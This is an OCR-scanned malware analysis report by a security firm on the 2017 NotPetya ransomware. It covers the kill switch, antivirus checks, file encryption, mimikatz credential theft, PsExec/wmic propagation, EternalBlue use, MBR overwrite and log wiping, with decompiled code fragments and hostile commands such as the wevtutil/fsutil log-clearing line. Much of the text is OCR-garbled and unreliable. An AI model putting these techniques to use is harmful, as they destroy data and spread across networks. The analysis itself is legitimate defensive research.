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Malware used for Massive Coordinated Cyber Invasion in Ukraine
“Petya” - "NotPetya” reverse analysis

The sample has Crypto-locker functionality, it encrypts files with certain extensions and then — rewrites
MBR (Master Boot Record), cleans logs (event logs), makes restart and after - shows ransom message.

The sample gets authentication data using “CredEnumerate” function and "mimikatz” utility. Credential
data is being used to propagate over the network, connecting to “adminS$” resource, “PsExec.exe” utility
and wmic.exe (WMlI). Also, sample is trying to exploit “SMB EternalBlue (CVE-2017-0144)” and
“EternalRomance (CVE-2017-0145)” vulnerabilities.

When launching, the sample is verifying the presence of the file «C:\Windows\perfc», if file exists, the
malware stops.

Also, malware checks the executed process list and calculates checksum value for each executed process,
it compare checksums with the following constants: 0x2E214B44, 0x6403527E, 0x651B3005 if match
found, the mallware will not infect MBR and propagate.

Sample closedown

The sample has 3 hash values which belongs to the processes names (0x2E214B44, 0x6403527E,
0x651B3005), if these processes are identified, the malware will not infect MBR and propagate inside the
network. Special algorithm is used to calculate hash values:

v
ve
vl
do
{
v2 = 8;
if {v1})
{
vl = vl;
do

0x12345678;
a:
wcslen(pe. szExeFile) ;

= {char =)B&va + {v3 & 3);
v5 = (*v4 * LOBYTE(pe.szExeFile[v2++]}} - 1;

}
while { v2 < vi1);
+tvi;

}
while { va < 3 }:
if { v9 == ex2E214Baq }

v10 R= BXFFFFFFF7;
}
else if { v9 == Bx6403527E || v9 == Dx651B3005 )

v18 = BxFFFFFFFB;
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These are processes names, corresponded to their hashes:
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0x2E214B44 — «avp.exe» —it’s Kaspersky AntiVirus - Kaspersky Internet Security;
0x6403527E — «ccSvcHst.exe» — Symantec Service Framework;
0x651B3005 — «NS.exe» — Norton Security.

' Ox2e214b4a4’
Xx2E214B44, C

x2E214844,
' OxE51b
Ox2E214B44,

Also, sample stops operating if detects file «C:\Windows\perfc» -- these are mechanism to prevent
infection of alreadt infected PC

Files encryption

Sample encrypts files with these extensions: .3ds .7z .accdb .ai .asp .aspx .avhd .back .bak .c .cfg .conf .cpp
.cs .ctl .dbf .disk .djvu .doc .docx .dwg .eml .fdb .gz .h .hdd .kdbx .mail .mdb .msg .nrg .ora .ost .ova .ovf

.pdf .php .pmf .ppt .pptx .pst .pvi .py .pyc .rar .rtf .sIn .sqgl .tar .vbox .vbs .vcb .vdi .vfd .vmc .vmdk .vmsd
.vmx .vsdx .vsv .work .xIs .xIsx .xvd .zip

if .duwFileattributes B 8x18) || .duFileattributes B B@x488 )
{
= {struct _WIN32 FIND DaTaW =)PathFindExtenzionW{ . cFileName} ;
if { {WCHAR =) =B .cFileName[wcslen .cFileName}] }

wsprintfW{Bvia, L"%ws.", ¥
it { strstriv(
L 3ds. 7z. accdb. ai. azp. azpx. avhd. back. bak. c. cfg. conf. cpp. cs. ctl. dbf. dizk. d]vu doc. docx. dwg. eml. fdb. '

"gz. h. hdd. kdbx. mail. mndb. msq. nrg. ora. ost. ova. ovf. pdf. php. pnf. ppt. pptx pst. pl.-l py pyc. rar. rtf. sln. s”
"ql. tar. vbox. vbs. vch. vdi. vfd. vmc. vndk. vmsd. vmx vsdx vsv. work. =1z, =lsx xvd. zip.

8uin} )
encrypt_file sub 10081894 (8 . y:
) }
else if { *StrStrIW{L"C:\\Windows;™, & )
encrypt_files_in_directory_ sub_10881973 (% . -1, }:

Encryption Key is unique for each disk, after files encryption accomplishing it encrypts with adversaries
Public Key, which could be found in the sample and stored “README.TXT” file.

= {const BYTE =)Local#lloc {(8x48u, IH
it { )
if { CryptStringToBinaryW(
L"HIIBCgKCAQEA =P} VqKcAyLedJhVgFHQGWUI TOGWp XWNKSNQAYTBOE5Cr8Pj IQInTeHKXE] f 02n2JmURWY fuHBBZr 1Q/ wc ¥ JBwLhQIEQJI3iD"

'qniN19007NtyEUnbYmopcq+¥ LI BZzQ22TKBAZDtX4GRKXEEFLCy7wP12EYOPXknVy } +mfBJFWi xz29Qi T f50Lu15wVLONCUEi bGaNNpgq+C™
"XsPwfITDbDDNdrRI i UEUwG03p t5pNOs kf0JbMan2TZubz fhzuts7KafP5UAS{BHNT5K3 /FIMTISEEBEZjK+cTiF1KeWndPAX fRCYXIFAIY"
"Cea0u7 CXFEUBAYNNN] vLeOn42LHFUK406 JwIDAGAB",

0,

1u,

{BYTE =)

4

a,
8) }
This report is a property of ISSP — Information Systems Security Partners and shall not be duplicated,

distributed or otherwise disseminated as a whole report without prior written consent from ISSP.

Reference to ISSP — Information Systems Security Partners is mandatory in case of quoting each and any
part of this report.



WWW.issp.com

ISSi ISSP | Information Systems Security Partners

Security Alarm

if { wrap_CryptGenKey__sub_18881BAE((int)IpThreadParameter}) )

encrypt files in directory sub 18801973 {{LPCWSTR}lpThreadParameter, 15, ({int)lpThreadParameter};
save_key to_README_TXT__ sub_10881D32 { {LPCWSTR) IpThreadParameter} ;
CryptDestroyKey (= {{_DWORD =)lpThreadParameter + 5}}:

}
CryptReleaseContext {={{ DWORD =)1lpThreadParameter + 2}, B8):

Public Key in Base64:
MIIBCgKCAQEAXP/VqKcOyLe9JhVgFMQGwWUITO6WpXWnKSNQAYTOO65Cr8PjlQInTeHkXEjfO2n2JmURW
V/uHBOZrlQ/wcYJBwLhQ9EQJ3iDgmN19007NtyEUmbYmopcq+YLIBZzQ2ZTKOA2DtX4GRKXEEFLCy7vP12E
YOPXknVy/+mf0JFWixz29QiTf50Lul5wVLONCuEibGaNNpgg+CXsPwfITDbDDmdrRIIUEUw603pt5pNOskf
0OJbMan2TZu6bzfhzuts7KafPSUA8/0HmMf5K3/FOMFISEGSEZjK+cliFIkKeWndPOXfRCYXI9AJYCeaOu7CXF6UOA
VNnNjvLeOn42LHFUK406JwIDAQAB

Credentials aquisition
The sample is attempting to get credentials using CredEnumerate (data search with the name,
commencing with «TERMSRV/»).

vi2 a;
vi3 = 8;
v9 = CredEnumerateW (8, 8, 8vi13, Bu12}):
if {va}

vl = 8;
vie = 8;
if {vi3 > @)

while { 1}
{

Y2 = w12 + 4 % vi;

v3 = x{_DWORD =}uv2;

v = =f{char ==} {x{ DWORD =}v2 + 8};
if { va)

{

vil = 8;
v5 = L"TERMSRU}";
vE = =({const wchar_t ==) {={ DWORD =)v2 + 8);
while { =v6 == =u5 }
{
++vb;
++uh;
if  *-—-vi1}
{
vi o= 8;
goto LABEL_8;

}

Also, “mimikatz” is being used — a utility for credentials exfiltration. The sample executes “minikatz” and
then - reads output from the named pipe.
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if { StringFromCLSID{&pguid, &lp=zz) >= 8}

if { write to_file sub 1888734E{{const WCHAR =)}v25, BTempFileName, lpHem} }
{
wsprintfW{BParameter, L"\\\\. \\pipe\\Bws", lpsz):
hThread = CreateThread{®8, @, parse output sub 188873FD, BParameter, 8, 8}):
if { hThread }
{
ProcessInformation. hProcess = 8;
ProcessInformation. hThread = @;
ProcessInformation. dwProcessId = 8;
ProcessInformation. dwThreadld = 8;
memset {(BD=t, B8, Ox44u);
vilg = @;
Dzt = 68;
wsprintfW{BCommandLine, L™Y'"%wsy" Bws", &TempFileName, BParameter);
if { CreateProcessW(

Network Propagation
Credential data is using to propagate across the infrastructure.

Sample is calling system functions (GetExtendedTcpTable, GetlpNetTable, NetServerEnum,
WNetEnumResource, DhcpEnumSubnets, DhcpEnumSubnetClients) to generate network hosts list.

vl = B8;

v2 = LoadLibraryW{L"iphlpapi.dl1"};

hLibModule = wZ;

if { v2)

{
v3 = GetProcAddress{v2, "GetExtendedTcpTable");
if { v3)
{

v13 = 8x100000;

vd = GetProcessHeap();

vh = {char =}Heapalloc{v4, 8u, 8x188880u}:
vi2 = vb;

if { v5)

v = {{int {_ stdcall =) {char =, int =, _DWORD, szigned int, szigned int, _DWORD}}v3){vh, Be13, 8, 2, 1, 8);
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if { *GetIpNetTable{v5, BSizePointer, 8) )}

vig
vi2 a:

if { vo5->»duNumEntries > 8 )
{

1;

3:
{int)8v5->table[0]. dwaddr + 2;

if { *memcmp{{conzt char =} {ve + 2}, {conzt char =}8v9, 4} }

wsprintfW{Bvs, L"%u. Bu. Bu. Bu", ={ BYTE =} {v6 - 2}, ={ BYTE =) {v6 — 1), ={ BYTE =}v6, ={ BYTE =) {vE + 1}};:
sub_18806FC7 {{char =)}8&v&, @, al);

bufptr = 8;
entriesread = 8;
totalentries = 8;
resume_handle = 8;

v3 = NetServerEnum{B8, @x65u, Bbufptr, OxFFFFFFFF, Bentriesread, Btotalentries, servertype, domain, &resume_handle};
if { v BR& v3 ¥= 234)
{

domaina = 8;

}

GetCOmputerNameExw(COmputerNamePhysicalNetBIOS, BBuffer, BnSize):
if { *DhcpEnumSubnets {RBuffer, BResumeHandle, 8x488u, &EnumInfo, &ElementsRead, &ElementsTotal}) }

v14 = Enumnlnfo->NumElements;
if {via>0)
{

do

if { *DhcpGetSubnetInfo{@, Enuminfo->Elements[v1], &SubnetInfo}
88 SubnetInfo->SubnetState == DhcpSubnetEnabled
&8 *DhcpEnumSubnetClients {8, EnumInfo->Elements[v1], Bv18, Bx18880u, &ClientInfo, &ClientsRead, B&ClientsTotal} }

Sample is connecting to the resource adminS.

wsprintfW{BHame, L"\\\\s\\admin%", al};

HetRezource. dwScope = 8;

memset (EHMe tRezource. dwType, B8, 8x1Cu);

HetRezource. l1pRemoteName = BHame;

HetRezource. duType = 1;

sub_10088B7A{{int)Bv23});

wsprintfW{BFilename, L"\\\\Bws\\adninsy'\Bws", al, Bv23);
while { 1)

{

pzzPath = @8;
vll = vd;
v18 = WHetAddConnection2W({BHetRezource, lpPazsword., lpUserMame, 8):

Using PsExec and wmic.exe to launch itself on the network hosts

it { v4 B& PathFileExistsW{v3} )}

{
vg = weprintiw{a2, L"%s \\\\¥z -accepteula -z ", v3, a3):
v wsprintfw{@az[ve], L"-d c:\\Windows\\System32\\rundl132. exe \"C:\\Windows\\&s\".#1 ", Bvid) + vi:
v18 = sub_10006BBA(BSrc) + 1;
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‘CoBemue 7045, Service Control Manager

OBwwe | MogpobHocTi

B cucTeme ycranoenera cnyxGa.

Wma cmywber PsExec

Wmn daiina cnyxber %SystemRoot3\PSEXESVC.EXE
Tun cnyxBer: cnyxBa pexnma Nons3osaTens

Twun sanycka cnyxBer: Bpyunyro

Yuernan sannce cnykbBer LocalSystem

W xyprana: Cucrema

WeTounnk: Service Control Manager Jara: 27.06.2017 9:42:58
Kog cobeimua: 7045 Kateropna sagaum:  OTcyTcTByET
YposeHe: Ceegerunn Kntoueswie cnosa:  Knaccuuecknii
Monebzos.: Komnerotep:

Koa onepaunn: CeegeHna

MoapobrocTi BeG-cnpaska #ypHana

bathnppendw{vﬁ, L"whemy\wmic. exe™);
if { YPathFileExistsW{vs) }

{
LABEL_1@:
*a? = B8;
=uh = B;
return vE;
}
vi
vE

wsprintfw{a?, L"%s [node:\"Bus\" Juser:\"Bws\" [password:\'"Bws\" ", v5, a3, a4, ab);
wsprintfW({
Baz[v7].
L"process call create V'C:\\Windows\\Systen32\\rund1132. exe ‘N\\'C:\\Windows\\Es\\\" #1 ",
Bu13)
+ ui;
sub_100BGEEA (812} ;

Co6Bemue 1000, Application Error

OBwme MNeoapoBHocTn

Wmn cBoiinoro npunoxEHunIrundIIBZ.ae_perfc‘dat,!aepcun: 6.1.7601.23755, oTmetka spemenn: 0x58dd1d0d
Wma cBoiinoro mogyns: ntdll.dll, sepcua: 6.1, 23807, oTmeTka spemenn 0x5915f94f

Kog neknrouenuns: 0xc0000005

Cmewenne owmnbiewn: 0:00031dca

Waentndmearop cboiinoro npouecca: Oxalc

Bpema sanycka cboitore npunoxenna: 0x01d2ef109dd20cbe

MyTs cBboitnoro npunosxenns: C\Windows\System32\rundli32.exe

MyTe cboiinoro mogyna: CAWindows\SYSTEM32\ntdll.dll

Kog otuera: ebBddal3-5b03-11e7-ad4 c-001ed0edaB25

Wma syprana: Mpunoxenne

Wetounmi Application Error Jara: 27.06.2017 9:43:17

Kopa cobemua: 1000 Kateropua sagaun: Cobeimua cBOEE NPUAOKEHNA
YposeHs: Ownbka Kntoueseie cnosa:  Knaccuueckwid

Menszos.: H/L KomnetoTep:

Kog onepaumm:

MeapoBrocTi: Befi-cnpaska xypuana
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Also, sample is trying to exploit “SMB EternalBlue (CVE-2017-0144)” and “EternalRomance (CVE-2017-
0145)” vulnerabilities.

result = HeapAlloc_in_ProcessHeap__sub_18881888 {(8x24u) ;
vl = result;
if { result )

resul t[1] = htons{al - 4):
vi[8] = a2;

#{{ WORD =}va + 7} = a3;
#{{ WORD =}va + 8} = ad;
=({{ WORD =)v9 + 14) = ah;
={{ WORD =)v9 + 15) = ab;
={{ WORD =)v9 + 18) = a7;
w{{ WORD =}ud + 17} = ag;
x{{ DWORD *}v3 + 1) = 'BMS\xFF" ;
v3[13] = 8x18;
result = v9;
}
return result;
if {v2==1)
{
={{ BYTE =)v3 + 8) = 3; |
={{ BYTE =)}v3 + 4@} = 3;
x{{ DWORD =}v3 + 48) = BxFFDBAOBA;
»{{ DWORD =}v3 + 41} = -1;
x{{ DWORD =}v3 + 42} = BxFFDBAOBO;
»{{ DWORD =}v3 + 43} = -1;
x{{ DWORD =}v3 + 48) = BxFFDFFACH;
»{{ DWORD =}v3 + 49} = BxFFDFFOCA;
x{{ DWORD =}v3 + 99) = BxFFDFF198;
»{{ DWORD =}v3 + 181} = BxFFDFF1FQ;
x{{ DWORD =}v3 + 118} = BxFFDBATFA;
w{{ DWORD =}v3 + 119} = -1;
x{{ DWORD =}v3 + 122} = BxFFDBAZAN8;
= {{_DWORD =)v3 + 123} = -1:
vh = @;
do

*{{_BYTE =)v3 + v5 + 497) = exploit_buffer__byte_188123B8[v5] ~ BxCC;
+Huh;

}
while { v5 < 8x977 };

MBR overwriting, logs cleanup and restart
Sample overwrites MBR writing to the file \\.\PhysicalDrive0.

vl = CreateFiled {"\\\\. \\PhysicalDrived™, 8x40088888u, 3u, B8, 3u, 8, 8);
if { vo}

DeviceloControl {v8, Bx780888u, 8, B8, &0utBuffer, Bx18u, BBytesReturned, @});
IpBuffer = Localalloc{@, 18 = v3});
it { lpBuffer )

DeviceloControl {vo, @x988206u. @, @, 68, 8, BByteszReturned, @);
WriteFile{vB, lpBuffer, 18 = v3, E&BytesReturned, @):;
LocalFree{{HLOCAL) lpBuffer}):

}
CloseHandle {vB) :
result = 1;
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Before the restart, sample cleans logs by executing the following command: wevtutil cl Setup & wevtutil
cl System & wevtutil cl Security & wevtutil cl Application & fsutil usn deletejournal /D C:

Cobeite 104, Eventlog

OBLume | MogpoBHocTn

Qaiin #ypHana System ouMLLEH.

Wman #ypHana: Cucrema

MeTounme Eventlog Jarta: 27.06.2017 10:59:21
Kog cobeimua: 104 Kateropuwa zagaun: OuncTea xypHana
YposeHw: Ceegenna Kntovesbie cnosa:

Monesos.: Komnetotep:

Koa onepavupmm: CeeqeHnA

MoapoBHocTh: Bef-cnpaska #ypHana

Restart is executed by calling the following functions: NtRaiseHardError, InitiateSystemShutdownExW u
ExitWindowsEx.

Sleep (60088 = al);

wsprintfw{
8vis,
L"wevtutil ¢l Setup & wevtutil cl System & wevtutil cl Security & wevtutil cl application & fsutil usn deletejournal /D %c:",
pszPath}:

vl6 = 8;

run_via_cmd_exe_ sub_108883BD{{int)Bvi5, 3):

if { privilege_mask_ dword_1861F144 & 1 )

v12 = GetModuleHandlea {"ntdll, d11"};
if (w12 )
{
v13 = GetProcthddress{vi12, “NtRaiseHardError™}:
if (w13}
{{void {_ stdcall =){signed int, _DWORD, _DWORD, _DWORD, signed int, HANDLE =}}v13){
-1873748976,
a,
a,
a,

6,
&Thread);

}
if { YInitiateSystemShutdownExW{8, 8, @, 1, 1, 0x00800808) )
ExitWindowsEx{6u, 0});
}

Also, the following task is being created in a scheduler: “shutdown.exe /r /f”.
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if | éétSystehDirecturyw(éBuffBr, Bx&ﬂCui i1 Pathﬁppendﬂ{&Bufier, L"shutdown. exe [fr ") )

if { is_0S5 version_more_than_5_ sub_188088494() )

wi = L"[/RU Y'SYSTEMY' *:

if { *{privilege_mask__dword_1881F144 & 4) )

vad = {const wchar_t =)}8unk_10814388;

wsprintfW{8v6, L"schtasks ¥ws[Create {5C once TN \"\" [TR \'Bws\" [ST %02d:%02d", v4, BBuffer, w3, v2);

else

wsprintfW{8ve, L"at %e2d:%e2d %ws™, v3, v2, BBuffer):

w7
v

a;
run_via_cmd_exe_ sub_188883BD{{int) &6, 8}):
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Cobermne 1116, Microsoft Antimalware

O6wme | MoapebHocTu

626860
4.10.209.0
{20106336-6784-44B7-8F15-0F01DESCE121}
2017-06-27T06:43:09.956Z

.Ransom:DOS"Paa.A I

Kputnueckmnii

6818

1
%6845
1
FaTe813
0
Fo%B22
0
9

Wmn syprana:
Wetounni:
Kog cobrirusa:
YpoBeHs!

Monezoe.:

Kog onepaumm:

MogpobBHocTi:

CA\Windows\System32\rundll32.exe
NT AUTHORITY\cncrema
boot:_\Device\Harddisk0\DRO

Cucrema

Microsoft Antimalware
1116
MNpeaynpexaeHue

H/A

Beb-cnpapka #ypHana

Jara:

KETEFOPHR 33aaqm

Kntoueskle cnoea:

KomnetoTep:

27.06.2017 9:43:11
OrcyTcreyer

Knaccuuecknii
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{Coteme 4648, Microsoft Windows security audifing.
i| OBwme | MoapoBrocTw

BoinAHENs NOMBITKA BXOA3 B CHCTENY C ABHBIM YK83aHHER yUETHEX ASHHBIX,

Cybrern
W Besonacriocti:
Viaa yuetho sannci:
Jlomen yueTHoft sanncu:
Koa sxopa:
GUID exoaz: 100000000-0000-0000-0000-000000000000]

B U1 HCNONIb308aH B YHETHBIE JaHHBIE CNEAYHOLLEN YHETHOI 3anuch:
Vin yuerroil sanucu:
[lomen yueTHol sanuc:
GUID sxopa: {00000000-0000-0000-0000-000000000000)

Lienesoii cepsep:
Vs uenesoro cepacpa:
JlonenHITEN HEIE CBEARHN:

CeeaeHna o npoyecce:
MaenTudukatop npouecca: Oxd
Vma npouecca:

Caenerna o cerw:

Ceresoii appec: -
Nopr:

MM BEINGHEHNI KOMAHAY

|Nantioe cobemue auw.@num MBITAETCR BINOMHUTS BXOA € yHETHOM 3aMMCHHD, ABHO YK33a8 £8 YHETHBIE AGHHBIE. 310 DBLINHO MPOHCXOANT NPY HCMIOMBS0BaHIM KOHGUTYPaLMA NaKETHOTO TUIS, HANPUMER, HAZHAMEHHb 33424,
RUNAS.

H Vv sypriana: BesonacrocTs.

| Merounne Micrasoft Windows security [lats: 27.06.2017 9:44:21

| NS e eeten 4648 Kaveropun sagauu: Bxoa B cuctemty

i Vposens: Coegerna Kntouestie cnosa:  Ayawr yenexa

i Nonssos: HA Komnatarep:

| Kog onepaum: Coeacrna

| Noapotroctu: Be6-cnpsexa wypHana
Conclusions:

This is the first example of the cyberweapon, which simultaneously uses such instruments as mimikatz,
PsExec, wmic, vulnerabilities SMB, MBR overwrite, logs cleanup, file encryption. Existence of such a cyber
weapon emerges a thought that cyberspace becomes a real battlefield worldwide.

There is still an open question left, what are the goals of included into the sample names of the processes
of the launched antiviruses (Kaspersky, Norton Security, or Symantec). The assumption that malware
developers could not bypass the antivirus protection, which correspond to the above-mentioned process
names, does not seem credible.

There is also another assumption that the processes with mentioned-above names were used as “back
doors” to access the infrastructure (Sleeper Agent named in the ThreatSCALE™ model). Next generations
of the samples might include different names of the processes.

We assume four main goals of such massive impact:

- Clean Up stage of the previous attack

- Demonstration of the power

- Testing security systems and the speed of the response to an attack
- Preparation to a new cyber attack
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